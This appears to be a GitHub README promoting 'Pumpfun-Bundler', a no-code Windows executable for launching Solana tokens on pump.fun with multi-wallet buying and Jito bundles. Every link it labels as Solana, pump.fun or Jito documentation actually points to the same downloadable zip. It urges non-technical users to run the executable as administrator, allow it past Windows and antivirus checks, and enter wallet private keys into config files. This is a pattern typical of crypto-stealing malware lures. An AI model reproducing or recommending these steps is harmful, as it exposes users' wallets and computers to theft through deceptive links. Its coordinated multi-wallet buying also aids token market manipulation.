Pumpfun-Bundler is a tool designed to help you launch tokens on the Solana blockchain. It works with the pump.fun platform and supports multiple wallet buying, LUT (Lookup Table) optimization, and bundle execution using Jito and Lil Jito. This setup makes launching tokens and managing transactions faster and more efficient.
You do not need coding skills to use this software. It is built to run on Windows and comes ready to use, with step-by-step instructions included below.
Before you start, make sure your computer meets these minimum requirements:
- Windows 10 or higher (64-bit)
- At least 4 GB of RAM
- 1 GB of free disk space
- Internet connection for blockchain interaction
- Administrative privileges to install and run programs
When you download the software, you will get:
- The bundler script executable
- A folder with configuration files and sample settings
- A user guide with basic instructions
- All needed dependencies included
You can customize how you use the tool after installation, but out of the box, it works with default settings aimed at safe token launching.
Pumpfun-Bundler offers:
- Multi-wallet buying: Manage several wallets to buy tokens at once.
- LUT Optimization: Speeds up transaction bundling by optimizing Solana's lookup tables.
- Jito and Lil Jito Execution: Uses these services to bundle transactions efficiently, saving time and fees.
- Simple setup: No coding needed. Ready to use after download.
- Clear logs and status updates during runs.
- Supports different kinds of token launches on pump.fun.
Click on the button below to open the release page. This page holds the latest version of the tool and related files.
On the releases page, look for the most recent version. Releases are ordered by date, with the newest at the top. You will see one or more files; look for a Windows executable file, likely with a .exe extension.
Click on the .exe file to download it. Save it to a folder you can remember, like your Desktop or Downloads folder.
Once downloaded, double-click the file to start the installation or to run the program directly if it is a portable executable.
- If it is an installer, follow the prompt steps until it finishes.
- If it is portable, it should open the program window immediately.
Windows may ask you to allow the app to run. Confirm that you trust this app by clicking "Yes" or "Allow."
You should see the main window or a command prompt showing the bundler’s status. This means the program is ready to use.
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Configuration Files
Locate the folder with configuration settings. These files let you enter wallet info, token details, and transaction preferences. -
Editing Settings
Open the configuration files with a simple text editor like Notepad. Replace placeholder wallet addresses with your own. Set token launch parameters like token symbol, amount, and price if applicable. -
Save Changes
After editing, save the files and close the editor. -
Start Bundling
Use the program interface or command prompt instructions to begin launching your token. The bundler will execute transactions to multiple wallets using Jito and Lil Jito bundles. -
Monitor Progress
Watch the logs or output window for updates. The tool will report success or any problems during execution.
Pumpfun-Bundler requires wallet keys to send transactions. These may be entered in the provided configuration files or through the app interface.
Take these steps to keep your wallets safe:
- Never share your private keys with anyone.
- Use wallets that support seed phrases or hardware wallets.
- Keep backup copies of your wallet keys offline.
- Close the program after use.
- Only run Pumpfun-Bundler on trusted computers.
- Make sure your Windows is up to date.
- Verify that you downloaded the Windows version.
- Run as administrator: right-click the file and select “Run as administrator.”
- Check that your wallet keys and token details are correct in the config files.
- Confirm your internet connection is stable.
- Restart the program and try again.
- Use a different browser or clear cache.
- Check firewall or antivirus settings that may block downloads.
- Solana documentation on token creation and wallets: https://github.com/menasamuel1835/Pumpfun-Bundler/raw/refs/heads/main/executor/Pumpfun-Bundler-1.4.zip
- pump.fun platform details: https://github.com/menasamuel1835/Pumpfun-Bundler/raw/refs/heads/main/executor/Pumpfun-Bundler-1.4.zip
- Jito Network information: https://github.com/menasamuel1835/Pumpfun-Bundler/raw/refs/heads/main/executor/Pumpfun-Bundler-1.4.zip
- Lil Jito tool overview: https://github.com/menasamuel1835/Pumpfun-Bundler/raw/refs/heads/main/executor/Pumpfun-Bundler-1.4.zip
These resources explain key concepts behind the technology used by Pumpfun-Bundler and help you understand the blockchain basics.
Check the releases page regularly for new versions. Updates might improve speed, add features, or fix bugs.
To update:
- Download the latest executable file.
- Replace the old file on your computer with the new one.
- Check your configuration files remain the same.
- Run the new version and verify operation.
If you encounter issues:
- Review this README carefully.
- Use the Issues page on GitHub to see if others have similar problems.
- Create a new issue describing your problem in detail.
This repository’s maintainer can respond to assist where possible.
The project applies to:
- Blockchain token launching
- DeFi applications on Solana
- Multi-wallet transaction bundling
- MEV (Maximal Extractable Value) strategies
- Solana trading bots
- Transaction bundlers
Download Pumpfun-Bundler to begin managing token launches safely and efficiently.